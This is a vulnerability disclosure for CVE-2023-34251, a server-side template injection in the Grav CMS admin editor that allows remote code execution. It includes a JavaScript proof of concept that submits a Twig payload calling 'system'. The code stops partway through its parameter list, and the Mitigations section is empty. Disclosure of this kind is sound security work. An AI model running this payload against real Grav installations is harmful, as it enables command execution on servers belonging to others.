Grav Server Side Template Injection (SSTI) vulnerability
Date: 2023-06
Affected: composer/getgrav/grav
Attack vector: rce
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2023-34251
CWE: CWE-94
CVSS: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

### Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen. ### Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. ### PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (`http://127.0.0.1:8000/admin/pages/typography`) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed. ```js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=__unique_form_id__]").value; const payload = "{{['id']|map('system')|join}}"; // SSTI Payload const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", ""); params.append("data[name]", "default"); params.append("data[header][body_classes]", ""); params.append("data[ordering]", 1); params.append("data[order]", ""); params.append("toggleable_data[header][process]", "on"); params.append("data[header][process][twig]", 1); params.append("data[header][order_by]", ""); params.append("data[header][order_manual]", ""); params.append("data[blueprint", ""); params.append("data[lang]", ""); params.append("_post_entries_save", "edit");


Mitigations:

Architectural layers (MAESTRO):